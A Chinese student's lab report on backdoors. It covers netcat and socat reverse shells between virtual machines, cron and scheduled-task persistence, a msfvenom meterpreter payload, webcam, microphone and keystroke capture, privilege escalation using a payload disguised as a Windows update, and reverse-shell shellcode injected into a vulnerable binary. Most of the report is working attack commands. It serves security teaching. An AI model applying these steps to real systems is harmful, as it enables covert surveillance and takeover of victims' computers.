20175104 李屹哲 Exp2 后门原理与实践
实验目录
1.实验内容
(3)使用MSF meterpreter(或其他软件)生成可执行文件,利用ncat或socat传送到主机并运行获取主机Shell
(4)使用MSF meterpreter(或其他软件)生成获取目标主机音频、摄像头、击键记录等内容,并尝试提权
(5)可选加分内容:使用MSF生成shellcode,注入到实践1中的pwn1中,获取反弹连接Shell,加分内容一并写入本实验报告
2.基础问题回答
(1)例举你能想到的一个后门进入到你系统中的可能方式?
(2)例举你知道的后门如何启动起来(win及linux)的方式?
(3)Meterpreter有哪些给你映像深刻的功能?
(4)如何发现自己有系统有没有被安装后门?
3.实验感想
实验准备
后门概念
后门就是不经过正常认证流程而访问系统的通道。
哪里有后门呢?
-
编译器留后门
-
操作系统留后门
-
最常见的当然还是应用程序中留后门
-
还有就是潜伏于操作系统中或伪装为特定应用的专用后门程序。
关于netcat
-
又名nc,ncat
-
是一个底层工具,进行基本的TCP UDP数据收发。常被与其他工具结合使用,起到后门的作用。
准备工作
我本次使用的是win7-64bit和kali Linux-64bit进行试验
查阅win7及kali的ip
Windows查阅IP命令 ipconfig /all IP是192.168.135.130
kali查阅IP命令 ifconfig或ip add 这里ip是192.168.135.133
接下来关闭防火墙(防止在后续实验中遇到任何问题)
Windows关闭防火墙
- 控制面板->Windows防火墙->打开或关闭Windows防火墙->分别关闭家庭和工作网络、公用网络防火墙
linux关闭防火墙
-
先安装 apt-get install ufw
-
然后再输入指令 ufw disable 关闭防火墙
-
记得在进行涉及安全的操作时要给虚拟机进行快照
-
Windows下载ncat以及socat
一. 使用netcat获取主机操作Shell,cron启动
1.Win获得Linux Shell
-
windows 打开监听,指令为 ncat.exe -l -p 5104
-
kali反弹连接Windows,指令为 nc 192.168.135.130 5104 -e /bin/sh
-
之后可以发现windows获得linux shell。可以执行指令Linux指令ls
2.Linux获得Win Shell
-
kali运行监听指令监听端口 nc -l -p 5104
-
Windows反弹连接Linux ncat.exe -e cmd.exe 192.168.135.133 5104
-
可以看到获得了Windows的命令行提示,可以执行dir指令(由于有中文字符所以乱码了)
接下来有关mac和各种环境之间的实验由于没有mac环境,所以就没办法进行了。
3.nc传输数据
-
我们从kali向Windows之间传输数据
-
Windows输入指令为 nc -l 5104 > 5104.out (将kali输入数据输出的5104.out文件)
-
kali运行指令为 nc 192.168.135.130 5104 < 5104.in (将5104.in文件中数据发送给Windows)
4.cron启动
-
Windows打开端口监听 ncat -l -p 5104
-
kali这里输入指令 crontab -e ,在最后一行添加
5 5 10 3 * /bin/netcat 192.168.135.130 5104 -e /bin/sh (这里cron是一个Linux下的定时执行工具,这里意为在3月10日5点5分执行反弹连接指令,有关该指令,如果想细致了解,请参考此链接)
-
可以发现到时间Windows就获得了shell
ps:这里我虚拟机的时间有点问题,上午和下午是反着来的,但小时和分钟是正确的,时间以虚拟机为主就好。
二. 使用socat获取主机操作Shell, 任务计划启动
socat简介
socat是一个多功能的网络工具,名字来由是” Socket CAT”,可以看作是netcat的N倍加强版
-
首先Win>控制面板->管理工具->任务计划程序.
-
然后添加新任务,我设置名称为20175104socat,设置触发器为任何用户登录时
-
接下来设置操作为启动程序,路径选择之前下载好的socat文件中的exe文件。参数为 tcp-listen:5104 exec:cmd.exe,pty,stderr
-
然后启动任务,再注销一下,重新登陆
-
之后kali这里执行指令 socat - tcp:192.168.135.130:5104 发现获得了一个shell,证明成功通过任务计划启动了
有关更多socat的相关用法请移步此链接
三. 使用MSF meterpreter(或其他软件)生成可执行文件,利用ncat或socat传送到主机并运行获取主机Shell
-
kali上先执行指令
msfvenom -p windows/x64/meterpreter/reverse_tcp LHOST=192.168.135.133 LPORT=5104 exe > 20175104_backdoor.exe
以生成后门程序(如果出现问题,可能是因为bundler版本不对,输入指令 gem install bundler:1.17.3 安装1.17.3的bundler)
-
Windows下生成32位/64位payload时需要注意:以windows/meterpreter/reverse_tcp为例,该payload默认为32位,也可使用-a x86选项指定。如果要生成64位,则payload为windows/x64/meterpreter/reverse_tcp。
- Windows监听端口 ncat.exe -lv 5104 > 20175104_backdoor.exe 准备接收
-
kali将文件发送过去nc 192.168.135.130 5104 < 20175104_backdoor.exe
- 接下来在kali输入 msfconsole 打开msfconsole
在msfconsole中输入下列指令
-
use exploit/multi/handler启用侦听模块
-
set payload windows/x64/meterpreter/reverse_tcp 设置payload
-
set LHOST 192.168.135.133 设置LHOST
-
set LPORT 5104 设置LPORT
-
exploit 开始监听
-
在Windows中把之前传过去后门程序打开
-
此时可以发现kali这边获得了Windows的shell
四. 使用MSF meterpreter(或其他软件)生成获取目标主机音频、摄像头、击键记录等内容,并尝试提权
- 使用指令 record_mic 进行录音
-
使用指令 webcam_snap 用摄像头拍照
-
注:虚拟机在这里设置启用摄像头
- 使用 keyscan_start 指令开始记录下击键的过程,使用 keyscan_dump 指令读取击键的记录:
-
使用 screenshot 截屏
-
用 getsystem 指令提权(这里有很多人失败是因为没有绕开 UAC 限制)
-
下面我们就想办法跳开UAC限制
-
首先 getuid 发现我们现在是普通用户
-
接下来用指令 background 指令将当前的session放到后台运行,可以在msf中继续其他的渗透任务。此命令适合在多个Meterpreter会话的场景下使用
-
接下来依次输入指令
use exploit/windows/local/ask //使用ask模块进行提权,使用该模块提权有个大问题,就是会触发uac机制(比较服气,就怎么也绕不开这个机制),但我们可以进行伪装 set payload windows/x64/meterpreter/reverse_tcp//设置payload set LHOST 192.168.135.133 set filename win_updata.exe//将该模块伪装为Windows升级程序 set session 1//
设置session的id
options//可以查看该模式的设置
exploit//开始监听
- 接下来可以看到win7会触发UAC机制,但上面已经做了伪装,所以只要点了确认,那么我们就可以返回kali继续进行提权了
- 然后输入 getsystem 发现成功了,然后再输入 getuid 查看权限。发现提权成功。
注:这里我参考的是这篇链接,还有很多其他可以绕过UAC的方法,但这些方法都要求你的Windows用户要处于admins组,所以在实际操作时要注意。
接下来使用几个比较有意思的指令
-
download socat 将Windows桌面上的socat下载下来
-
获取一个命令行界面,指令为 shell ,exit退出
-
把meterpreter HOOK到其他进程上,这样就不用怕用户把当前这个进程关闭了
-
先用指令ps查看所有进程
-
选一个进程然后使用指令migrate 1816转移一下就ok了(这里我选的是explorer进程,是Windows程序管理器或者文件资源管理器)
-
- 还有好多指令使用 help 指令查看,然后慢慢研究使用就行
五. 使用MSF生成shellcode,注入到实践1中的pwn1中,获取反弹连接Shell
-
如同实验一样先关闭内存地址随机化,设置堆栈可执行
-
接下来打开两个终端继续进行调试找到shellcode地址就行(过程就略过了,做过实验一肯定会知道的)
-
这里发现和上次一样地址是0xffffd35c+4=0xffffd360
- 接下来下载
Linux/x86 - Reverse(127.0.0.1:4444/TCP) Shell (/bin/sh) Shellcode (96Bytes)
- 打开里面的c文件获取shellcode即可
- 生成shellcode
perl -e 'print "A" x 32;print"\x60\xd3\xff\xff\x31\xc0\x31\xdb\x31\xc9\x31\xd2\x66\xb8\x67\x01\xb3\x02\xb1\x01\xcd\x80\x89\xc3\xb8\x80\xff\xff\xfe\x83\xf0\xff\x50\x66\x68\x11\x5c\x66\x6a\x02\x89\xe1\xb2\x10\x31\xc0\x66\xb8\x6a\x01\xcd\x80\x85\xc0\x75\x24\x31\xc9\xb1\x02\x31\xc0\xb0\x3f\xcd\x80\x49\x79\xf9\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x31\xc9\x31\xd2\xb0\x0b\xcd\x80\xb3\x01\x31\xc0\xb0\x01\xcd\x80"' > input_shellcode
打开两个控制台,其中一个打开msfconsole,输入
- use exploit/multi/handler 启用侦听模块
-
set payload linux/x86/shell_reverse_tcp 设置payload
-
set LHOST 127.0.0.1 设置LHOST(shellcode里面确定的)
-
set LPORT 4444 设置LPORT(shellcode里面确定的)
-
show options
-
exploit 开始监听
另一个使用 (cat input_shellcode;cat) | ./pwn5104 执行shellcode
-
这时发现监听的控制台获得了shell
问题回答
(1)例举你能想到的一个后门进入到你系统中的可能方式?
-
可能在系统开发时,程序员已经设置了后门
-
或者下载一些来路不明的软件
-
将来路不明的存储设备插入电脑并执行了上面的文件
(2)例举你知道的后门如何启动起来(win及linux)的方式?
-
Windows:将后门设置为任务,在你执行某个操作时后门程序被触发
-
linux:通过cron启动将其后门指令或程序设置为定时执行
(3)Meterpreter有哪些给你映像深刻的功能?
-
可以转移到其他进程,这让受害机想要摆脱攻击难上加难
-
可以获得屏幕截屏,摄像头,威胁隐私
-
可以下载受害机文件
(4)如何发现自己有系统有没有被安装后门?
- 进行病毒查杀时发现异常
-
电脑变卡了,由于运行后门时占用一定内存
-
发现文件被篡改
-
发现有异常进程
-
发现从未开启的端口开启了
实验感想
本次实验,我深深感受到了后门程序的可怕,之前再信息安全技术课上曾经做过类似的实验,但当时没有太过留心,认为只要不随便调整安全设置即可。但未曾想本次实验给我上了一课,让我们知道,如果一不小心,就有可能中招。在之前看过一个电影《解除关系2暗网》。本以为是比较虚假的,没想到本次实验中深深的体会到了其可怕之处。如果计算机被装了后门,那么恐怕隐私也就不复存在了,我们总以为自己的计算机是安全的;可如果有一天我们稍微放松警惕,把某个网上下载的不明软件打开,那么的等待我们的可能就是隐私被泄露。所以说一定要注意好计算机的安全防护。本次实验中,我选用了虚拟机之间进行试验,就是怕主机如果关闭防火墙会有闪失。总之本次实验收获良多。让我对让我对后门的原理有了深刻的认知。